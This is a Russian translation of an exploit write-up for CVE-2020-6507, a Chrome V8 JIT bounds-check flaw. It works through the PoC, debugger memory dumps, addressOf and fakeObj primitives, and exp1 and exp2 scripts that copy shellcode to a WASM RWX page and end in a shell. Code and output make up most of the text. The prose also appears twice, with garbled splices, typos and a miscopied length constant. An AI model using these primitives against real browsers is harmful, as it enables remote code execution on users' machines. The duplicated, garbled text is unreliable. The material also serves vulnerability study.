Автор: Hcamael@Know Chuangyu 404 Lab
Статья вотЪ эта.
Восстановим и рассмотрим CVE-2020-6507
Сбор информации
Прежде чем приступить к анализу уязвимостей, сначала необходимо провести этап сбора информации.
Узнать, какие уязвимости существуют в конкретной версии Chrome, можно из официального бюллетеня обновлений Chrome.
Номер уязвимости можно получить из официального бюллетеня уязвимостей, но она может быть но эта информация может быть скрыта, если уязвимость новая. Вы можете найти в Google номер версии Chrome "dl.google.com", например, chrome 90.0.4430.93 "dl.google.com", вы можете найти несколько сайтов с новостями об обновлении Chrome, и в этих новостях вы можете получить официальный офлайн-установщик этой версии Chrome. Всегда загружайте Chrome с сайта dl.google.com.
Разберем - ка, CVE-2020-6507, чей номер ошибки в хроме можно найти в официальном бюллетене: 1086890.
Информацию о ней можно легко найти.
Самая последняя версия Chrome: 83.0.4103.97
Самая последняя версия V8: 8.3.110.9
Соответствующий PoC.
Среда сборки собирается в 1 клик:
Запустим шаблон
На данный момент не будем беспокоиться о причине уязвимости, принципе работы уязвимости или чем-то еще, давайте воспользуемся PoC для написания нашего эксплойта. Запустим PoC.
Можно заметить, что изменение PoC имеет эффект изменения длины массива corrupted_array до 0x2424242424/2 = 0x12121212, затем, если наши obj_array и double_array находятся в области памяти такой длины, то можно написать функции addressOf и fakeObj.
Чтобы выполнить череду тестов.
При отладке мы обнаружили, что программа "всплыла", но мы все еще можем проверить память и обнаружим, что эта версия v8, сжала адреса, мы изменили бит длины на 0x242424242424, но мы также изменили бит элементов на 0x000000. на этом шаге, мы не пропустили ни одного адреса, если другого способа построить элемент не существует. Наконец, мы выяснили, что адрес кучи начинается с младшего 32-битного адреса 0x000000, а последующие переменные могут меняться в зависимости от окружения.
Изменим код следующим образом.
а по итогу
Успешно "утёк" адрес переменной double_array, изменив тестовый код:
Снова "глянем в лужу" :
Успешно слили адрес, но недостаток метода в том, что как только js код будет изменен, расположение кучи изменится, нужно будет поменять значение элементов, поэтому нужно сначала написать весь код, потом вернуться, чтобы изменить значение.
Но есть и некоторые методы, такие как распределение кучи, например, значения elements устанавливаtv в немного меньшее, а затем ищем адрес карты по младшим 20 битам карты как 0x891. Однако эти методы не будут подробно изучаться в этой статье, и те, кто заинтересован, могут "занырнуть поглубже без спасательного круга"
А напишем-ка addressOf:
Следующим делом запилим faceObj:
Смещения, которые будут изменены в пересмотренном варианте, следующие:
Всё остальное не меняем и еще раззанырнём запустим exp1:
И немного оптимизируем:
Предыдущий код был написан с помощью шаблона, но он немного не дотягивает, потому что значения элементов тестируются в соответствии с нашей локальной средой, даже если код немного изменится в тестовой среде, его нужно будет модифицировать, если он используется только для набора CTF, я думаю, этого достаточно. Но если бы мы хотели перенести его в реальную среду, то, вероятно, потребовалось бы много модификаций.
Почему же мокнут ноги, когда по голову в воде (Причины уязвимости)
Я не собираюсь тратить слишком много времени на причины уязвимостей, потому что, как мне кажется, V8 обновляется так быстро, что вы тратите много времени на анализ кода для этой версии и анализ кода на предмет уязвимости, только чтобы обнаружить, что в другой версии код изменился и предыдущий анализ устарел. Поэтому я не думаю, что нужно докапываться до самого дналужи кучи, по крайней мере, на начальном уровне.
Уязвимость четко описана на сайте bugs.chromium.org.
NewFixedArray и NewFixedDoubleArray не оценивают размер массива, посмотрим на фиксированный код для NewFixedDoubleArray ссдругой стороны:
Повторите поиск в коде и найдите kFixedDoubleArrayMaxLength = 671088612, что указывает на массив с плавающей точкой с максимальной длиной 67108862.
Давайте вернемся к PoC.
Включаем калькуляторы: длина массива 0x40000, args' - 0xff массива, а затем args также меняет массив длиной 0x3fffc.
Функция array.prototype.concat.apply превращает переменную args в переменную giant_array длиной 0x40000 * 0xff + 0x3fffc = 67108860.
Затем 3 значения добавляются с помощью функции splice, которая выполнит функцию NewFixedDoubleArray, создавая массив с плавающей точкой длиной 67108860 + 3 = 67108863.
Эта длина уже превышает значение kFixedDoubleArrayMaxLength, так куда же плыть-то?
Посмотрите на функцию запуска.
На первый взгляд, нам и море по-самые яйца. Однако в V8 есть функция, позволяющая проводить JIT-оптимизацию кода, которая выполняется чаще, удаляя избыточный код и ускоряя его выполнение.
Например, если вы оптимизируете функцию триггера, V8 будет считать, что максимальная длина x равна 67108862, поэтому максимальное значение x в конце вычисления равно 1, тогда конечное значение x будет либо 0, либо 1. Первоначально код должен был проверить границы массива corrupting_array на основе значения x при выполнении corrupting_array[x], но благодаря вышеприведенному анализу JIT я решил, что эта проверка границ не нужна, и удалил код из проверки. Это прямое присваивание переменной corrupting_array[x], и фактическое значение x равно 7, что приводит к чтению/записи вне границ, а позиционный индекс=7, который оказывается битами элементов и длины переменной corrupted_array, поэтому PoC достигает того же эффекта, что и предыдущий анализ.
Зная принцип, мы можем провести оптимизацию функции, и мой окончательный оптимизационный код вышел в окно выглядит следующим образом:
Окончательное значение x равно 11, что изменяет длину test3, но не изменяет значения элементов, поскольку в середине находится test2, который вызывает смещение на 4 байта, поэтому мы можем позволить изменить только длину test3, не затрагивая элементы.
В связи с этим мы вносим ряд изменений в PoC.
Следующей тонкой настройки подвергнутся addressOf и fakeObj, основанной на exp1, - это все, что нужно для формирования нашего exp2:
Ссылки для самостоятельного изучения:
Статья вотЪ эта.
Восстановим и рассмотрим CVE-2020-6507
Сбор информации
Прежде чем приступить к анализу уязвимостей, сначала необходимо провести этап сбора информации.
Узнать, какие уязвимости существуют в конкретной версии Chrome, можно из официального бюллетеня обновлений Chrome.
Номер уязвимости можно получить из официального бюллетеня уязвимостей, но она может быть но эта информация может быть скрыта, если уязвимость новая. Вы можете найти в Google номер версии Chrome "dl.google.com", например, chrome 90.0.4430.93 "dl.google.com", вы можете найти несколько сайтов с новостями об обновлении Chrome, и в этих новостях вы можете получить официальный офлайн-установщик этой версии Chrome. Всегда загружайте Chrome с сайта dl.google.com.
Разберем - ка, CVE-2020-6507, чей номер ошибки в хроме можно найти в официальном бюллетене: 1086890.
Информацию о ней можно легко найти.
Самая последняя версия Chrome: 83.0.4103.97
Самая последняя версия V8: 8.3.110.9
Соответствующий PoC.
Код:
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
length_as_double =
new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];
function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);
let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}
corrupted_array = trigger(giant_array)[1];
alert('corrupted array length: ' + corrupted_array.length.toString(16));
corrupted_array[0x123456];
Среда сборки собирается в 1 клик:
Код:
$ ./build.sh 8.3.110.9
Запустим шаблон
На данный момент не будем беспокоиться о причине уязвимости, принципе работы уязвимости или чем-то еще, давайте воспользуемся PoC для написания нашего эксплойта. Запустим PoC.
Код:
$ cat poc.js
......
corrupted_array = trigger(giant_array)[1];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));
# The last line is deleted and alert is changed to console.log
$ ./d8 poc.js
corrupted array length: 12121212
Можно заметить, что изменение PoC имеет эффект изменения длины массива corrupted_array до 0x2424242424/2 = 0x12121212, затем, если наши obj_array и double_array находятся в области памяти такой длины, то можно написать функции addressOf и fakeObj.
Чтобы выполнить череду тестов.
Код:
$ cat test.js
......
corrupted_array = trigger(giant_array)[1];
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
%DebugPrint(corrupted_array);
%SystemBreak();
Код:
DebugPrint: 0x9ce0878c139: [JSArray]
- map: 0x09ce08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x09ce082091e1 <JSArray[0]>
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
......
pwndbg> x/32gx 0x9ce0878c139-1
0x9ce0878c138: 0x080406e908241891 0x2424242400000000
0x9ce0878c148: 0x00000004080404b1 0x0878c1390878c119
0x9ce0878c158: 0x080406e9082418e1 0x000000040878c149
При отладке мы обнаружили, что программа "всплыла", но мы все еще можем проверить память и обнаружим, что эта версия v8, сжала адреса, мы изменили бит длины на 0x242424242424, но мы также изменили бит элементов на 0x000000. на этом шаге, мы не пропустили ни одного адреса, если другого способа построить элемент не существует. Наконец, мы выяснили, что адрес кучи начинается с младшего 32-битного адреса 0x000000, а последующие переменные могут меняться в зависимости от окружения.
Изменим код следующим образом.
Код:
$ cat test.js
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
array = Array(0x40000).fill(1.1);
......
corrupted_array = trigger(giant_array)[1];
%DebugPrint(double_array);
var a = corrupted_array[0];
console.log("a = 0x" + ftoi(a).toString(16));
а по итогу
Код:
$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x288c089017d5: [JSArray] in OldSpace
- map: 0x288c08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x288c082091e1 <JSArray[0]>
- elements: 0x288c089046ed <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x288c080406e9 <FixedArray[0]> {
#length: 0x288c08180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x288c089046ed <FixedDoubleArray[1]> {
0: 1.1
}
0x288c08241891: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x288c08241869 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x288c08180451 <Cell value= 1>
- instance descriptors #1: 0x288c08209869 <DescriptorArray[1]>
- transitions #1: 0x288c082098b5 <TransitionArray[4]>Transition array #1:
0x288c08042eb9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x288c082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x288c082091e1 <JSArray[0]>
- constructor: 0x288c082090b5 <JSFunction Array (sfi = 0x288c08188e45)>
- dependent code: 0x288c080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
a = 0x80406e908241891
Успешно "утёк" адрес переменной double_array, изменив тестовый код:
Код:
$ cat test.js
......
length_as_double =
new Float64Array(new BigUint64Array([0x2424242408901c75n]).buffer)[0];
......
%DebugPrint(double_array);
%DebugPrint(obj_array);
var array_map = corrupted_array[0];
var obj_map = corrupted_array[4];
console.log("array_map = 0x" + ftoi(array_map).toString(16));
console.log("obj_map = 0x" + ftoi(obj_map).toString(16));
Снова "глянем в лужу" :
Код:
$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x34f108901c7d: [JSArray] in OldSpace
- map: 0x34f108241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x34f1082091e1 <JSArray[0]>
- elements: 0x34f108904b95 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x34f1080406e9 <FixedArray[0]> {
#length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x34f108904b95 <FixedDoubleArray[1]> {
0: 1.1
}
......
DebugPrint: 0x34f108901c9d: [JSArray] in OldSpace
- map: 0x34f1082418e1 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x34f1082091e1 <JSArray[0]>
- elements: 0x34f108904b89 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x34f1080406e9 <FixedArray[0]> {
#length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x34f108904b89 <FixedArray[1]> {
0: 0x34f108901c8d <Object map = 0x34f108244e79>
}
......
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1
Успешно слили адрес, но недостаток метода в том, что как только js код будет изменен, расположение кучи изменится, нужно будет поменять значение элементов, поэтому нужно сначала написать весь код, потом вернуться, чтобы изменить значение.
Но есть и некоторые методы, такие как распределение кучи, например, значения elements устанавливаtv в немного меньшее, а затем ищем адрес карты по младшим 20 битам карты как 0x891. Однако эти методы не будут подробно изучаться в этой статье, и те, кто заинтересован, могут "занырнуть поглубже без спасательного круга"
А напишем-ка addressOf:
Код:
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
corrupted_array[4] = array_map; // change the map address of the obj array to the map address of the floating point array
let obj_addr = ftoi(obj_array[0]) - 1n;
corrupted_array[4] = obj_map; // change the map address of the obj array back for subsequent use
return obj_addr;
}
Следующим делом запилим faceObj:
Код:
function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
corrupted_array[0] = obj_map; // change the map address of the floating-point array to the map address of the object array
let faked_obj = double_array[0];
corrupted_array[0] = array_map; // change it back for subsequent use if needed
return faked_obj;
}
Смещения, которые будут изменены в пересмотренном варианте, следующие:
Код:
$ cat exp1.js
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
......
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x10n;
......
}
......
fake_object_addr = fake_array_addr + 0x48n;
......
Всё остальное не меняем и еще раз
Код:
$ ./d8 --allow-natives-syntax exp1.js
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8040a3d5962db08
[*] leak wasm_instance addr: 0x8040a3d082116bc
[*] leak rwx_page_addr: 0x28fd83851000
[*] buf_backing_store_addr: 0x9c0027c000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)
И немного оптимизируем:
Предыдущий код был написан с помощью шаблона, но он немного не дотягивает, потому что значения элементов тестируются в соответствии с нашей локальной средой, даже если код немного изменится в тестовой среде, его нужно будет модифицировать, если он используется только для набора CTF, я думаю, этого достаточно. Но если бы мы хотели перенести его в реальную среду, то, вероятно, потребовалось бы много модификаций.
Почему же мокнут ноги, когда по голову в воде (Причины уязвимости)
Я не собираюсь тратить слишком много времени на причины уязвимостей, потому что, как мне кажется, V8 обновляется так быстро, что вы тратите много времени на анализ кода для этой версии и анализ кода на предмет уязвимости, только чтобы обнаружить, что в другой версии код изменился и предыдущий анализ устарел. Поэтому я не думаю, что нужно докапываться до самого дна
Уязвимость четко описана на сайте bugs.chromium.org.
NewFixedArray и NewFixedDoubleArray не оценивают размер массива, посмотрим на фиксированный код для NewFixedDoubleArray ссдругой стороны:
Код:
macro NewFixedDoubleArray<Iterator: type>(
......
if (length > kFixedDoubleArrayMaxLength) deferred {
runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
}
......
Повторите поиск в коде и найдите kFixedDoubleArrayMaxLength = 671088612, что указывает на массив с плавающей точкой с максимальной длиной 67108862.
Давайте вернемся к PoC.
Код:
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
Включаем калькуляторы: длина массива 0x40000, args' - 0xff массива, а затем args также меняет массив длиной 0x3fffc.
Функция array.prototype.concat.apply превращает переменную args в переменную giant_array длиной 0x40000 * 0xff + 0x3fffc = 67108860.
Затем 3 значения добавляются с помощью функции splice, которая выполнит функцию NewFixedDoubleArray, создавая массив с плавающей точкой длиной 67108860 + 3 = 67108863.
Эта длина уже превышает значение kFixedDoubleArrayMaxLength, так куда же плыть-то?
Посмотрите на функцию запуска.
Код:
function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);
let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
for (let i = 0; i < 30000; ++i) {
trigger(giant_array); // Trigger JIT optimization
}
На первый взгляд, нам и море по-самые яйца. Однако в V8 есть функция, позволяющая проводить JIT-оптимизацию кода, которая выполняется чаще, удаляя избыточный код и ускоряя его выполнение.
Например, если вы оптимизируете функцию триггера, V8 будет считать, что максимальная длина x равна 67108862, поэтому максимальное значение x в конце вычисления равно 1, тогда конечное значение x будет либо 0, либо 1. Первоначально код должен был проверить границы массива corrupting_array на основе значения x при выполнении corrupting_array[x], но благодаря вышеприведенному анализу JIT я решил, что эта проверка границ не нужна, и удалил код из проверки. Это прямое присваивание переменной corrupting_array[x], и фактическое значение x равно 7, что приводит к чтению/записи вне границ, а позиционный индекс=7, который оказывается битами элементов и длины переменной corrupted_array, поэтому PoC достигает того же эффекта, что и предыдущий анализ.
Зная принцип, мы можем провести оптимизацию функции, и мой окончательный оптимизационный код
Код:
length_as_double =
new Float64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0];
function trigger(array) {
var x = array.length;
x -= 67108861; // 1 2
x *= 10; // 10 20
x -= 9; // 1 11
let test1 = [0.1, 0.1];
let test2 = [test1];
let test3 = [0.1];
test1[x] = length_as_double; // fake length
return [test1, test2, test3];
}
Окончательное значение x равно 11, что изменяет длину test3, но не изменяет значения элементов, поскольку в середине находится test2, который вызывает смещение на 4 байта, поэтому мы можем позволить изменить только длину test3, не затрагивая элементы.
В связи с этим мы вносим ряд изменений в PoC.
Код:
function trigger(array, oob) {
var x = array.length;
x -= 67108861; // 1 2
x *= 10; // 10 20
x -= 9; // 1 11
oob[x] = length_as_double; // fake length
}
for (let i = 0; i < 30000; ++i) {
vul = [1.1, 2.1];
pad = [vul];
double_array = [3.1];
obj = {"a": 2.1};
obj_array = [obj];
trigger(giant_array, vul);
}
%DebugPrint(double_array);
%DebugPrint(obj_array);
//%SystemBreak();
var array_map = double_array[1];
var obj_map = double_array[8];
console.log("[*] array_map = 0x" + hex(ftoi(array_map)));
console.log("[*] obj_map = 0x" + hex(ftoi(obj_map)));
Следующей тонкой настройки подвергнутся addressOf и fakeObj, основанной на exp1, - это все, что нужно для формирования нашего exp2:
Код:
$ cat exp2.js
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
double_array[8] = array_map; // change the map address of the obj array to the map address of the floating point array
let obj_addr = ftoi(obj_array[0]) - 1n;
double_array[8] = obj_map; // change the map address of the obj array back for subsequent use
Return obj_addr.
}
function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
double_array[1] = obj_map; // change the map address of the floating-point array to the map address of the object array
let faked_obj = double_array[0];
return faked_obj;
}
$ . /d8 exp2.js
[*] array_map = 0x80406e908241891
[*] obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8241891591b0d88
[*] Leak wasm_instance addr: 0x8241891082116f0
[*] leaking rwx_page_addr: 0x3256ebaef000
[*] buf_backing_store_addr: 0x7d47f2d000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)
Ссылки для самостоятельного изучения: